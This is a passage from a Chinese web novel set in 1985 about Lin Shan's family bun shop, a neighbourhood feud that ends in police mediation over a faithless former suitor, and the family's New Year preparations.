赵桂花笑得无比开心，嘴上却说：“唉，享什么福啊，我这辈子就是个吃苦的命，停不下来的。看看你家这俩儿子多好，一个比一个有出息，老周能挣钱不说，还从来不让你干粗活，你比我有福多了！” 周婶子被她说得舒坦极了，笑呵呵地说：“哪的话啊，咱都有福，都有福。老姐姐你放心，房子的事儿包我身上了，一有信儿我就上家找你去。” 赵桂花乐开花：“好好好，我指着你了啊。” “放心吧。”周婶子说完又握着林珊的手夸了半天，三人这才散了场。 还有一个多礼拜就要过年了，搬新家肯定是赶不上趟的。铺子要做买卖，自家还要蒸花糕，收拾屋子，另外她之前就跟王大娘和郭有财靠好了，他们过年的包子也包自家身上了。 新家要住的话，也需要好好清理一番，所以实在是忙不过来啦。 两天后，林珊按约定好的时间，把整整一千块钱交给了陈德旺。对方写了个收据给她之后，坐着小汽车走了。 林珊母女三人站在铺子门口，看着这辆在八十年代特别拉风的小轿车，忍不住感慨真有钱啊，不知道她们家什么时候能坐上小汽车。 林珊暗暗发誓：挣钱！必须挣大钱！ …… 林兰风尘仆仆地走进家门，还没放下行李，就听林富贵黑着脸告诉她——林珊家买房了！ 林兰还没缓过劲儿来，听得一愣一愣的，“买房？” “隔壁老周家说的，她们还打算把这个旧房子给卖了！”林富贵气急败坏，比起自己不顺，更让他恼火的是老二家的这三个娘们儿，竟然越过越好了！买房子可不是小钱！那破铺子就那么挣钱？！ 林兰想了想，安慰她爸：“她们还要卖旧房子，应该是钱不够吧，小铺子挣不了那么多的。” 林富贵听了这话，并没有好受多少，依旧愤恨不已：“我林富贵要强了一辈子，居然还比不上一个小丫头片子！哼，真是没了天理了！” 林兰劝他：“爸，你调岗的事不是定下来了嘛，以后咱家的买卖肯定会越做越大的。林珊以前就是个棒槌，就算现在精明了一些，也只是会卖个包子而已，她干不了大事的。” “我就是看不得她们娘仨高兴的那个样儿！”自从儿子进去之后，林富贵的怒气就越积越深，每天看着林珊家生意做得红红火火，他心里别提多难受了，“你之前写信让我先不要找她们的事儿，现在你回来了，该出手治治她们了吧！” “稍安勿躁，别着急，我二哥不是还有大半年才出来吗？”林兰问他。 林富贵算了算日子，“嗯，差不多。” 林兰拨了拨头发，温柔地一笑：“等二哥出来咱也开个铺子，她叫‘爱国大肉包’，咱叫‘爱军大肉包’，就开在她旁边，价格比她便宜，馅儿比她好吃，我就不信她还开得下去。” 林富贵愣了愣，随即笑道：“你这主意不错，不过我觉得用不着这么麻烦。找几个人来点儿硬的，或者演出戏说东西不干净就行了，你二哥路子是对的，就是没找对人。” 林兰不同意，“爸，万一没弄成，你也要跟我二哥一样下大狱吗？” “呲，我能跟那兔崽子一样笨？”林富贵自信得很，“不可能办不成。” 林兰生气：“能用稳妥的法子，为什么要冒这种险？经过我二哥那次的事儿，林珊肯定对这方面有防备了。而且你不是说她跟王大娘关系很近吗？王家那几个儿子都挺出息的，保不齐这次又是谁会替那棒槌出面。你不要去搞这些不稳妥的东西了，反正我二哥出来之后咱们也要开店的，开个包子铺怎么了，有什么好麻烦的！” 林富贵见闺女真生气了，立刻凑过来哄她：“行行行，爸都听你的，听你的，别生气。这一路累不累啊？” 林兰怎么会不累，现在坐火车可不比以后，车厢挤得要死不说，味道还特别难闻，简直是活受罪。一进门还没休息，就得开始处理家里的事。真是累人。 “爸，你的精力要多放在咱真正的买卖上头，那个才是大头。还有……”林兰看了眼正在院子里择菜的亲妈，小声对林富贵说：“我舅舅那儿你也得留个心眼，记清楚账。人心隔肚皮，人家亲兄弟还要明算账呢。” 林富贵非常同意，同样小声道：“放心吧，爸心里有数，所有账都记得一清二楚，一个钢镚都不会少。” 林兰点点头， 稍微放心一些。 第20章【VIP】 第20章 第20章 年前小风波 腊月二十六卖完最后一个包子, “爱国大肉包”正式关门歇业。 腊月二十七那天，林珊一家要在店里蒸花糕和包自家吃的包子，当然也包括王大娘以及郭有财家的。 安河这边的花糕主要是要用来祭祀的, 拜拜天地和祖先，一家人好开开心心过大年。 林珊上辈子孤身一人, 平时还有朋友同事一起玩儿，可每到节假日那种全家团员的日子, 屋里就剩她一个人的时候，心里多少会有点不是滋味。 这是她来到这个世界的第一个新年, 也是她拥有家人后的第一个新年, 意义非凡。 这个年代的农历年，真得很有年味, 新兴胡同已经挂上一条一条的小彩旗了, 家家户户忙着贴春联办年货, 空气中都飘荡着一种热闹得喜庆。 家里平时卖的包子都是咸口的，过年的时候赵桂花就想要再准备一些豆沙包。红豆煮熟捣烂, 再往里拌上一些白砂糖, 包在白白嫩嫩的面皮里, 别提多美味了。 安河的花糕很简单，不是林珊在后世里见过的那种彩色的、各种形状的花糕。这边的花糕没有颜色，只是把和好的面团捏成像那种类似于后世的蛋糕模样，一共三层，然后用大枣稍微点缀一下就可以上锅蒸了。有大有小, 还要再做一些鱼和刺猬形状的小花糕, 说是这样才成套。 林珊不懂这些，赵桂花让她干什么，她就干什么。母女三人平时卖包子早卖出手速了, 那么多花糕和包子，大半天就全搞定了。 挨着分给王大娘和郭有财之后，三人又去了集市置办其他东西。过年得往家里准备一些糖果、瓜子和花生，这样有人来拜年的时候，好用来招待客人。 有的人家还会备上一些烟，林珊也买了两包。万一哪个街坊邻居来家里拜访，也好招待一根。毕竟这年代大家还都不知道香烟的危害，递烟送烟被认为是一种礼貌。 年根儿的集市，几乎到了人贴人的地步。挤得林珊买完东西之后，立刻拉着赵桂花和林红逃了。 新年除了办年货，还有就是买新衣服。忙活了大半年，除了赵桂花之前做的那几件夏装外，家里再没填过新衣服了。虽然买房子一下付了一千块，但是买两件不是特别贵的新衣服，还是可以的。 可赵桂花一得知林珊要拉着自己去买衣服，瞬间不乐意了，脚恨不得插车轮里刹车，“不去不去不去！刚花了那么些钱，还买啥衣服啊！”每天看着钱往外出，桂花心慌啊，说什么都不肯再花一分了。 林珊拿她没辙，林红也表示：“咱又不去哪儿，穿不到新衣服的，等明年把房子的钱都付清以后，咱们再买吧。” 一张嘴说不过两张，再说林珊主要是想给她俩买，辛苦大半年了，想让她们穿好看点过年。不同意就不强求了，来日方长。 买新衣服的计划落空，母女三人载着满满当当的年货骑车回家。 一进门，林珊刚要停车，就见林富贵家的绵门帘突然掀开一角，跟着林兰和杨清明从里面走了出来。 因为两家彻底交恶，所以相处模式基本就是见了面全当彼此不存在。如果哪天心情不好，或是赵桂花看见对方犯贱，大骂一顿肯定是少不了的。 林珊前几天就知道林兰回来了，当时俩人在院子里碰见，林兰看那架势还想说两句什么来着，结果一见她抬胳膊，对方立刻歇了心思，扭头就走。 这会儿瞧见林兰那脸上的笑容，因为她们娘仨瞬间冻结，林珊也照样懒得搭理，至于旁边那个僵在原地活像根木头似的杨清明，对她来说更是一堆空气。 然而她不想搭理，赵桂花可早等不及了，这是她知道杨清明怎么对待自家闺女之后，头一次遇见这个陈世美，怎么可能随随便便就放过他。 赵桂花把东西往门口一放，两步来到杨清明跟前，围着他走了一圈，“这首都回来的大学生就是不一样啊，脸皮看着比城墙都厚。” 杨清明早就听过赵桂花的名声，反应过来之后准备溜走。 林兰也赶紧来拉他，这会儿家里就她跟清明两个大人，小侄子小侄女们都猫在屋里吃糖果，真要闹起来，他们肯定吃大亏。 “跑什么啊？”赵桂花一把薅住杨清明的衣服，扯了他一个趔趄，“爹妈就这么教你的？见到长辈连声招呼都不知道打？” 杨清明没想到她这么大力气，又不能直接拽走衣服开跑，那实在太难看了，“婶、婶子，你这是干什么啊？” “干什么？”赵桂花微微一笑，瞄了眼门口的笤帚。 林珊心想坏了，桂花女士这是要动武啊，骂两句无所谓，上手就没必要了。杨清明父母事儿多，认识的人也多，大过年的闹得局子里就不太好了。 “妈，搭理他干嘛，不知道以为我还当他是盘菜呢，咱赶紧收拾一下吃饭了。”林珊挡住笤帚，走过去拉赵桂花。 然后桂花女士替闺女出气的心更强，挡住笤帚，她转手就够到了用来压尿素袋的破木板，四四方方一小条，她抄起来就朝杨清明抡了过去。 “啊！”杨清明身娇肉贵，全家都宠他宠得的不行，除了上回被林珊删过一耳瓜子，他从来就没挨过打，冷不丁被木板打到，才知道原来这么疼啊！ 他哎呀乱叫，四处逃窜。赵桂花紧随其后，一路追打。林兰在一旁大呼小叫地喊人来帮人，刘大娘和她的儿媳妇们纷纷闻声从屋里出来，小孩子们也都隔着窗户往外瞧。 大杂院一时间乱作一团，林珊略微头大。林红着急得很，既怕她妈吃亏，又怕把人给打重了。 街坊们很快赶来不少人，大家一见这阵仗，就知道怎么回事儿了。毕竟杨清明和林家这两闺女的事儿，之前早被刘大娘传遍胡同了，再加上后来的“富贵之歌”，基本就没有人不知道这里头的恩怨了。 平心而论这事儿好换成是自家闺女被欺负，他们恐怕打得比赵桂花还狠，但是这杨清明家可不是随便能惹得起的，真打出好歹来，可就不好收场了。 所以老周挺身而出，拦住了他的老姐姐，“行了行了，差不多了差不多了，兰丫头还不赶紧把清明带走！” “诶！”林兰一把拉过被打懵了的杨清明，迅速跑出家门。 杨家父母正在家里跟杨老爷子，一快儿喝着茶写着春联，忽见儿子被打，惊得墨都洒了。林兰哭着把情况一说，三人立刻大怒。真是粗鲁！从来没见过这种蛮不讲理的泼妇！ “走！上派出所！”杨父杨母愤恨不已，非要替儿子讨个公道，杨老爷子更是拄着拐杖也要跟着去。 林珊那头把众人送走之后，先把自家的年货挨个搬回家，然后边吃包子边劝赵桂花：“人也打了，气也消了，赶紧吃饭吧。” 赵桂花哼声：“我还没消气呢！赶欺负我闺女，没敲断他一条腿怎么行！” 林珊无奈：“敲断腿是要蹲大狱的，赵桂花同志。” 赵桂花被她的称呼气笑了，“少没大没小的，我就说这个意思。” 林珊笑了笑，心里却知道这事儿没完，宝贝疙瘩被打了，怎么可能不告状呢！ 果然，赵桂花正吃着饭，王军就带着派出所的同事来了，“……反正闹得不行，非让抓你们，咱过去说明一下情况吧。” 赵桂花没带怕的，直接站起来就要走，还不忘拦住闺女们：“你俩在家待着，我一个人去就行。” 林珊是不可能让她一个人去的，回屋拿了包东西放布兜之后，带上林红一块儿去了派出所。 派出所里，热闹得像菜市场。杨家四口排排坐在椅子上，林兰坐在杨清明旁边，另一侧 还站着个林富贵。几个人像开批斗大会似的，不断控诉着赵桂花和林珊的“罪行”。 吴副所长都出面了，不断安抚着杨老爷子让他保重身体，这事儿一定会给他们一个公道。 林珊母女三人来得很快，前脚刚进门就迎来一个要飞扑打人的妇女。这妇女林珊熟悉，正是骂过她不仅癞蛤蟆想吃天鹅肉，还上门骗钱的杨母。 杨母动作迅速，公安同志也不是吃素的，直接把她拦得严严实实，“派出所里不要打架！” 不让打，杨母就骂，赵桂花又怎么会吃亏，一时间整个屋子都是两位女士的激烈奋战，公安同志最后吼了好几声才把局面给控制住。 杨父忍着怒火，直接对吴副所长说：“我们要她判刑！必须判刑！” 吴副所长点点头：“我们理解你们的心情，但是咱办案子还是要按照规矩来的，都冷静一下，先说说怎么回事吧。” “怎么回事儿？这个泼妇平白无辜打我儿子！看给我们打的，到现在人都是懵的！”杨母说着还含泪摸了把旁边的杨清明。 赵桂花呸：“懵个屁！我又没打他脑袋，大棉袄穿那么厚，身上八成连个黑青都没有，在这儿给我装什么晕！”她又不傻，木板打脑袋可轻可重，当时虽然生气，但是分寸还是有的，毕竟有那么多场战斗经验呢。 “你说谁装？！明明是你打人不对，还有理了！”杨母气愤不已，“吴所长你可得为我们做主啊！” 吴副所长安抚了她一下，问赵桂花：“这么说你承认打人了，有什么事儿不能好好说，为什么要动手？” 20-30 第21章 第21章 派出所调解 赵桂花瞬间泪如雨下, 哭得比杨母还痛，把自家当时的困境，以及杨清明和林兰干的龌龊事好好说了一遍, 末了一擦泪珠，指着俩人：“这两个不要脸的小东西, 我打他都算轻的！” “你胡说八道！信口开河！”杨母气疯了，竟然感这么侮辱她儿子, 她的宝贝疙瘩怎么会看上一个癞蛤蟆！不仅她不信，杨父和杨老爷子更不信。他们引以为傲的清明, 怎么可能做出那种事儿呢！ 虽然胡同里的人这么传过, 但是杨家人却是从来都不信的，自己儿子自己清楚, 肯定是这癞蛤蟆看见清明跟林兰在一块儿之后, 心生嫉妒瞎编的！ 林兰做出一副委屈的模样, 哭诉道：“我也不知道为什么她们为什么总冤枉我们，总说我们是搞、搞破鞋, 明明我跟清明开始的时候, 都是没有对象的, 但是我婶子和林珊就是不相信。” 她说完瞥见林珊笑了，立刻又补充一句：“退一万步说，就算林珊跟清明之间真有些什么，那也是以前的事了啊，为什么总是不肯放过我们呢, 动不动就上来打人实在太可怕了。” “这癞蛤蟆狐狸精能跟我儿子有什么！我儿子根本不可能看上她！”杨母可不爱听这话, 气愤得不行，谁都不能玷污她的宝贝疙瘩。 吴副所长看向林珊和赵桂花：“你们有什么要说的？” 赵桂花哭：“所长同志，我说得都是真的！谁会没事儿编这个？这可是在毁我闺女的名声啊！” 林珊叹口气, 从背着的兜里掏出那个著名的小布兜，杨清明一看见这个，瞬间清醒，人顿时坐不住了，扭动着身子跟他妈说：“算、算了吧。” 杨母心疼地搂住他，“怎么能算了！必须让她们判刑！” 林兰也记得这个破布兜，没想到棒槌居然还留着这些垃圾，可见她心里还想着杨清明呢，哼，幸亏刚才话说得全，不过就算拿出那些信又能怎么样？这只能说明俩人好过，又不能证明自己跟清明对不起她啊。 林珊把包里这些东西一一递给吴所长和其他两位同志，然后坐回椅子上轻声开口：“我要告发杨清明始乱终弃，不知廉耻地跟林兰搞破鞋。” “啥？！”杨母几乎气晕过去，扶着后脑勺不敢相信自己的耳朵。还有没有天理了！“你、你个不要脸的小蹄子！上回没骂够你是不是？竟然敢来陷害我儿子！” 杨清明扶着他妈，心里后悔死了，刚才就不应该来派出所！他之前是被吓着了，现在身上虽然疼，但是也不至于判人刑啊。再说，这事儿说到底，毕、毕竟是他理亏。 吴副所长和其他两位同志把信和都东西都翻看了一遍，发现那些肉麻信里写得跟那堆钢笔、贝壳什么的，竟然都能对上。 “杨清明同学，这些信和礼物都是你送给林珊的吧？”吴副所长板着脸问。 杨清明惊慌失措，“我、我——” “什么信和礼物！狐狸精肯定又想冤枉我儿子！”杨母才不信，自信地走过去拿起信一看，脸色瞬间煞白，这、这、这确实是他儿子的字！ 怎么可能？！不可能不可能，明明怎么可能看上这种人呢！杨母不死心地往下看，试图寻找作假的痕迹，可就算她读到最后一个字，也没能看出什么破绽，反而心越来越往下沉。 看完一封，又是一封，一共有八封信！桌上那些一看就是小姑娘会喜欢的东西，那只钢笔更是眼熟，还是她托人从上海买回来的。 好、好啊。 杨母彻底晕了，要不是杨父眼疾手快，她当场就出溜到地上了。杨老爷子看到了信，也明白怎么回事儿了，脸黑成一团，难以置信地看着自己的宝贝金孙。 杨清明不敢看家里人的眼神，只能小声说：“我、我就算喜欢过林珊，但那也早就过去了，我没有始乱终弃，更没有跟林兰搞破鞋，我们俩是、是之后在一起的。” 吴副所长要不是看在杨老爷子的面上，都想呼这小子脑门了，心虚成这样还嘴硬。林珊跟他们整个派出所的人都熟，大家伙可没少吃她们家的大肉包。既然两边人都认识，这事儿处理起来就得不偏不向。 吴副所长问林珊：“他说你们俩的事儿过去之后，才跟林兰好的，你怎么说？” 林珊面无表情：“他最后一封情书的落款是五月二十九号。七月十三号那天我还去找他借过钱，我哥的抚恤金当时被林兰他爸拿着不给，我没钱给我妈看病，只能去借他的。因为我们俩没公开过，所以他妈还骂我癞蛤蟆想骗钱。后来我被林珊她爸和二哥陷害入院，这事儿派出所有记录，住了小半个月，也就是七月二十六号那天，我跟我妈一块儿出院的时候，正好逮着他俩在院子里亲亲我我，我那时候才知道他当了陈世美。我们院儿的刘大娘就在现场，这事儿做不了假。我说过的每一句话都可以验证，他俩却只有一张嘴来声称自己没有搞破鞋。” 吴副所长频频点头，要不是不合适，他都想替林珊鼓掌，于是他板着脸问杨清明和林兰：“你们俩有什么可说的？” 林兰哭得无比可怜，像主席保证自己是冤枉的。 杨清明无力地辩解：“我们俩是正儿八经地在搞对象，真没有搞破鞋，真得没——” “够了！”杨老爷子一声吼，全场瞬间鸦雀无声。那愤怒中夹杂着羞耻和失望的表情，看得杨清明瞬间蔫了下去。 老爷子把吴副所长拉到一边，说了一会儿话，然后吴副所长冲林珊招了招手，把她叫了过去。 “丫头，这事儿是清明对不起你，我替他向你道歉。打人的事儿我们不追究了，能不能也请你宽宏大量放他一马。这事儿真要弄上去的话，他这一辈子的名声可就毁了。”杨老爷子痛心疾首，他来的时候有多想办赵桂花，这会儿就有多想吊起来打自己的金孙。 林珊轻轻叹了口气，“杨爷爷，要不是你们非要把我妈抓起来判刑，我也不会做这么绝的。” “我知道，这里头有误会，我们以为你、你——唉，说到底都是清明不对！”杨老爷子唉声叹气。 林珊其实也没有真想用这个去办杨清明，现在是有流氓罪，但是条款写得很清楚，她手里那点儿东西还真不够定两个大学生的罪。听说市里领导当初还特意接见了杨清明和林兰，毕竟能考到首都上大学，在这年头可真是人中龙凤。她之所以要提告发他 们，纯粹是为了让对方消停。 吴副所长很明显跟杨老爷子关系很近，她也不好不顾情面地驳人家面子，毕竟派出所的人可没少照顾她们娘仨。 于是，林珊点了点头，对杨老爷子说：“这事儿我可以不追究，但是杨叔杨婶和杨清明，得对我和我妈道歉。是他对不起我，我不是狐狸精，没有癞蛤蟆想吃天鹅肉，更不会去骗钱，我妈更是为了保护我才动手的。” “……好。”杨老爷子颤巍巍拄着拐杖回到位置，对杨父杨父下命令。 杨母小声气道：“对那丫头道歉就算了，凭什么也得对那泼妇道歉，清明这段打就白挨了？” 杨老爷子瞪她一眼，夫妻俩瞬间老实。杨清明丧头耷脑的，根本不敢有任何意见。 于是，三个人在杨老爷子的威严之下，齐刷刷对林珊和赵桂花说着对不起。 林珊面无表情地欣赏着他们的神态，赵桂花偷偷掐大腿让自己不能笑。 吴副所长随后非常正义地批评了杨清明和林兰几句，又来教育赵桂花：“以后可不能这么冲动了。” 赵桂花陪着笑：“是，所长同志。我那会儿也是上头了，以后不会了，不会了。” 闹剧就此结束，母女三人离开派出所的时候，已经很晚了。王军跟她们一块儿回的胡同，路上还不忘再叮嘱赵桂花以后千万别冲动，同时也要多提防着点儿杨家和林富贵一家。三人乖乖听着。 杨家人和林富贵父女，稍晚一会儿才从派出所往胡同走，一路上气压低得很。 杨家人主要在生杨清明的气，林富贵父女是既生杨清明的气，又生林珊的气。 林兰原本还想借着杨家的手对付一下这娘仨，结果又被那棒槌给混过去了！原本早该死翘翘的三个人，不但好生生地活着，还越来越精神了！ 不但林珊精明了不少，就连林红看着也跟以前不一样了，赵桂花就更不用说了，人虽然还是那么粗鲁，但是明显有底气多了。以后面对她们的时候，她要更加谨慎才行。 还有这个杨清明，他居然给棒槌写了那么多情书！林兰本来以为只有两封信，没想到足足八封！哼，真是恶心！要不是贺启明那边进展缓慢，她恨不得立刻踹了他！ 杨清明不知道自己要被踹，他满脑子想得都是待会儿爹妈和爷爷会怎么收拾他。 罚跪应该是少不了的，会不会打有点难说，毕竟他才刚挨了一顿揍，而且他们还从来没打过他。唉，爸妈是真气坏了，爷爷也对他非常的失望。怎么办啊，待会儿要怎么做才能让他们原谅自己呢？ 杨清明苦思冥想了一路，也没找到好方法，却突然搭错筋似的很不合时宜地意识到，林珊居然到现在都留着自己送给她的信和礼物！ 这说明什么？ 说明她还深深地爱着自己啊。 第22章 第22章 开心过大年 林珊到家之后把小布包放回原位, 扭头就见赵桂花一脸欲言又止的。 “怎么了？”她问。 赵桂花拉着林珊坐到椅子上，担忧地问：“孩子，你还留着这些东西, 不会是还想着那个小兔崽子吧。” 林珊笑了，还以为什么事儿呢, “我这叫存档，证据可不得保存好嘛, 以后只要他俩犯贱，我就把这些东西拿出来溜溜。一次陈世美, 终身陈世美。” 赵桂花看她的表情不像作假, 放心不少，再想起刚才杨家和林富贵父女的模样, 她就忍不住笑了, “活该啊, 我这都打得轻了，一群不要脸的东西！” “好了, 骂够了咱就早点睡吧, 明天还有一大堆活等着呢。”林珊笑着拍拍她的肩膀, 感叹桂花女士实在是身强体壮。白天忙活了一整天，晚上又是打架又是进派出所的，这会儿精神头还能这么足，佩服。 第二天腊月二十八，一家人早早起了床。 本来睡前三个人说好要多睡一会儿的, 可生物钟早就已经固定了, 躺床上发呆也难受，还不如起来干活。 早饭是林珊做的，蒜瓣爆香, 放上酱油炝一下锅，然后等水开之后煮上一些面条，一碗香喷喷的面条汤就做好了，再配上昨天蒸的豆沙包，美味又简单。 因为今天要大扫除，干体力活必须吃饱点儿。除了现在住的旧家，她们还得把新家也打扫一下，清理下枯草，扫扫灰、铲铲雪。因为过了大年初二，她们就要开始往新家里搬了。 安河这地方初六送穷开市，所以大部分铺子都会选择初六开门营业，林珊家也不例外。 母女三人计划趁着过年这些天，彻底把家搬完，不然过完年后再搞这些，肯定会耽误做生意的。 旧房子好打扫，地方小，也没那么脏，基本简单擦一下就能搞定，新家就麻烦多了。 赵桂花借了三轮车把家里所有干活的工具都拿来了。 娘仨扫雪、铲草，扫地、擦窗，半天忙活下来，小院子总算有了一点家的模样。 林珊用打好的浆糊把春联贴好，新家这边的任务算完成了。绕过铺子的时候再给铺子贴好春联，剩下的就都是旧家的事儿了。 旧家别看小，需要打包的杂物还真不少。一家人住了那么多年，再加上赵桂花有中年妇女的通病，什么都不舍得扔，所以收拾起来难度不算小。 林珊教了教她后世那个“断舍离收纳法”，赵桂花听得云里雾里的，慢慢开始学着忍痛割爱。林红的东西不是特别多，两个包裹就全搞定了。林珊则多了一些高中时期的教课书，赵桂花想拿去卖钱，被她拦住了。 “你留这些东西干什么？” “考大学用啊。”林珊笑着把书收好，现在暂时不考虑，但是等再生意扩大一些之后，她就要准备考大学的事儿了。 赵桂花被她稀松平常的语气逗笑了，“行了，赶紧收拾吧，又说梦话。” 林红也以为林珊是在开玩笑，他们家人读书都不行，她自己读到高二就不读了，妹妹虽然念完了高三，但以前偷偷跟她说过是因为杨清明才留在学校的。 林珊知道俩人都不信，谁让过去的“战绩”不佳呢，她笑着说：“以前不行是因为没用功，只要我认真学习一阵儿，肯定能考上。” 现在是阳历1985年的二月份，今年的高考是赶不上了，几个月时间不足以让她把铺子升级壮大。参加明年高考的话，时间就充裕很多。这样到时候生意上她能抽开手，去外面上大学也会放心一些。 上辈子林珊上的是首都的九八五，虽然专业很一般，但能从小地方考上来，也算是个称职的小镇做题家了。所以对于这个年代的高考，她还是挺有把握的。 赵桂花突然想起之前从医院回来的时候，珊丫头好像也是这么说的，什么要考大学，要让她住大房，要开铺—— 哎呦，细细一想，孩子那时候说的话，好像已经做到一大半了！就差一个考大学了！ “珊、珊丫头啊，你真是认真的？” “嗯。”林珊笑着点头，知道桂花女士这是有点信了。 林红也放下手里的东西，朝这边看了过来。 林珊对她俩笑笑：“我就算考大学，也得差不多要一年半以后了，现在还不着急，咱的生意要紧。” 她这一辈子决定再读一次大学，纯粹是为了人脉。谁都知道八十年代的大学生金贵，毕业后国家还包分配，以后各行业出来的精英，几乎都来自这一批大学生。 同学情谊总比酒桌上认识得强，培养了多年的感情，肯定也比求人办事的虚情假意来得温暖真诚。 所以这个大学必须上。 赵桂花不知道该说什么，她是相信珊丫头要考大学是认真的了，但是不相信她 能考上。可要说完全一丁点都不信的话，那倒也不是，毕竟这丫头自从懂事之后，说过的每件事都办到了。唉，脑子有点儿乱。 林红跟赵桂花差不多，既相信又不相信的，不过如果姗姗要是真能考上大学，那就太好了，到时候她跟妈照顾好铺子，让姗姗好好学习，将来找份更体面的工作。 一家人忙活到很晚，简单吃了点饭之后，就洗洗睡了。第二天又集体跑去郊区，给林老二和林爱国烧了些元宝上了上香。年前的任务基本就完成了。 除夕夜没有春晚看，多少让林珊有点怀念那些陪伴了她很久的声音。不过一家三口坐在屋里，就着小酒吃香喝辣，再围着炉子玩儿玩儿纸牌，也是另一种幸福。 鞭炮声噼里啪啦此起彼伏，老百姓们相信炮声越大，来年就会越顺。把不好的都得崩走了，好的自然就来了。 大年初一的主要任务是拜年。林珊爷爷奶奶都不在了，就一个大伯还不对付，倒是省了给长辈磕头那一环。不过街坊邻居间，还是要走动一下的。 王大娘家是她们的第一站。王大娘家的房子虽然这不是什么大四合院，但是整个院子也就只有她一家人住。 王大娘有三个儿子，老大一家在外头当兵，过年没有假，只有儿媳带着孩子们回来了。老二在城南当干部，平时一家人住在单位分的房子里，只有节假日过来。所以整个院子，常年就只有王大娘和王军住。 王大爷前几年没了，王大娘本来以为王军娶了媳妇儿之后，家里能热闹一点儿，结果那姑娘是个短命的，早早就没了。所以兜兜转转家里还是冷冷清清的，只有过年的时候才有些人气儿。 林珊一家到的时候，王大娘刚好给孩子们发完红包，见赵桂花带着两闺女进来拜年，笑着拿起两个红包硬要塞给林珊和林红。 林珊笑着躲了，上演了一出“使不得使不得”的戏码之后才乖巧地收了。林红也不好意思收，她觉得自己都结过一次婚，早就不是小孩子了。但王大娘硬是笑着塞到她怀里，再推辞就过意不去了。 林珊熟门熟路地鞠躬拜年，致上贺词：“我们全家祝大娘新的一年，福如东海、寿比南山。哥哥嫂嫂们幸福美满、事业顺利。孩子们健康快乐，冰雪聪明。祖国人民繁荣昌盛，国泰民安！” 这一连串话她说得又溜又快又喜庆，把一屋子人都逗笑了，好好好，新年就是要这种好兆头。 王军也在跟着笑，不过注意力却全都在林红身上。这几天包子铺不开门，他不能去吃面去，已经好几天没见过林红了。这会儿见她腼腆地站在自家屋里笑，心里美滋滋的，怎么越来越好看了呢。 王大娘笑呵呵地跟赵桂花唠了两句家常，无意间一瞥，发现军子居然在盯着林红发呆！那傻样都不需要她猜，两只眼睛亮得跟黄鼠狼似的，一脸的“想上前说点儿什么又不敢”的德行。 王大娘还有什么不懂的，她压住内心的震惊，喝了口热茶缓劲儿。最早的时候她是想过，要是珊丫头能给她当儿媳妇就好了。但是想到儿子大人家那么多，还有过媳妇，就觉得不是很合适了。后来又见俩人处起来就跟亲兄妹似的，便彻底打消了念头。 红丫头…… 王大娘以前倒是没想过儿子会跟红丫头对上眼。不，看红丫头这架势，估计是她那傻儿子在剃头担子一头热。 红丫头比珊丫头大几岁，今年也该有二十二、三了吧，俩人岁数倒是差得不多。瞧这小模样，长得高高挂挂白白净净的，人又和气懂事，每次见了她都是腼腆地笑笑，然后轻声细语地打招呼。 也能吃苦，每天在包子铺起早贪黑的。虽然也结过一次婚，但又没孩子，而且还是因为被打才过不下去的。 王大娘越琢磨越觉得林红不错，要是真能跟军子好了，她可要好好给老天爷烧烧香。这两年替儿子找对象，找得她脑袋都大了，活生生气老好几岁。 没想到这小子不声不响的，竟然自己开花了。好，待会儿可得好好问问他咋回事。 林红知道王军在看自己，所以她一直站在姗姗的后头，想着这样就能挡住他。结果没想到她挪一下，他竟然也跟着不着痕迹地换了地方，而且还这么直勾勾地看。 她本来脸皮就薄，这下弄得连耳朵都红透了。 第23章 第23章 个人问题 王军察觉到林红的异样, 才突然意识到自己盯得时间太长，让她不自在了。他赶紧收回视线看向别处，人明显慌乱不少。 幸亏屋里一堆人在闲话家常, 孩子们也跑来跑去的，不然俩人都红得像猴屁股似的, 很难不被人看出些什么来。 林珊恰巧不爱闲话，目睹了这青涩又极具年代风情的一幕, 王军心虚乱瞟的视线，还意外地跟她撞上了。 林珊对他笑了笑。 王军心中一惊, 感觉这丫头的表情有点儿不寻常, 像是知道了什么似的。他细细确认了两秒，明白林珊这是看出来了。 王军摸摸后脑勺, 有点儿尴尬。不过既然被瞧出来了, 他也就不用再遮遮掩掩了, 眼神都跟着坚定起来了。随后他找了个空档把林珊叫到一边，准备跟她聊聊。 “军哥, 有话你就直说吧。”林珊看他站这儿半天, 张了几回口都没能说出一句完整的话, 索性开门见山。 王军清了下喉咙，“那、那个，你知道了吧？” 林珊：“嗯。” 王军微囧，又不自觉地摸后脑勺，“那、那你觉得……就是、就是说……你姐、你姐她……” 林珊笑了, “军哥, 你是想问你跟我姐有没有戏对吗？” 王军：“嗯。” 林珊看了眼正在屋里给小孩儿分糖豆的林红，叹了口气，“我姐之前的事, 军哥你也知道，那畜生对她造成的伤害不是一两天能消除的。我其实之前就问过她以后的打算，她说她现在不想考虑个人问题，甚至看见男的都觉得害怕。” 王军听得心里难受，林红受过什么苦他一清二楚，真恨不得立马跑过去再狂揍那杂碎一顿，当初在局子里还是太客气了，真该弄他个缺胳膊少腿才行！ 王军是真没想到林红心里这么苦，之前见她每天卖包子卖得起劲，心情看上去挺好的，他还以为她已经想开了，没想到……唉。 “我明白你意思了，我等她好起来。” 林珊愣了，我什么意思啊？ 她只不过是把林红的想法如实说了出来而已。虽然她心里觉得她姐对王军不反感，但是这又不能代表什么。不反感到喜欢之间还是有很大一段距离的，更何况她姐心里的伤口还没好呢。 不过看王军态度认真，说得话也实诚，她就没多说什么，只是问他：“你希望我姐知道你的心意吗？” 王军看向林红，发现她跟小孩子在一块儿时候笑得可开心了，“还是等她好了再说吧，别让她不舒服。” 林珊点点头，心里对王军又多了几分欣赏。 其实如果她姐愿意，王军真挺不错的。王大娘她们一家人都熟，绝对不会是那种难相处的婆婆，妯娌们又离得远，家里房子又大，就算以后发展变化快，王家应该也不会受什么太大的影响。 不过再怎么合适，外人说了没用，要看当事人怎么想，她能做的只是如实转告。 离开王家之后，赵桂花又领着两人去了三、四位邻居家拜年，说说话聊聊天，等回到家的时候已经快十一点了。 安河这边大年初一中午家家吃饺子，赵桂花又把昨晚上剩的年夜饭热了热，满满当当又是一大桌。 饭桌上桂花女士的忆苦思甜，“去年咱哪有这好日子啊，那点儿肉钱还是我给菜站搬白菜攒下来的。现在咱日子好了，再难熬咱也熬过来了。要是你爸和你哥还在的话，有多好啊……” 桂花说着落泪，林红也跟着哭了，林珊拿来毛巾给她俩擦眼泪，“好啦，不是说大年初一不能哭吗？快擦把脸，咱以后肯定会越来越好的。” 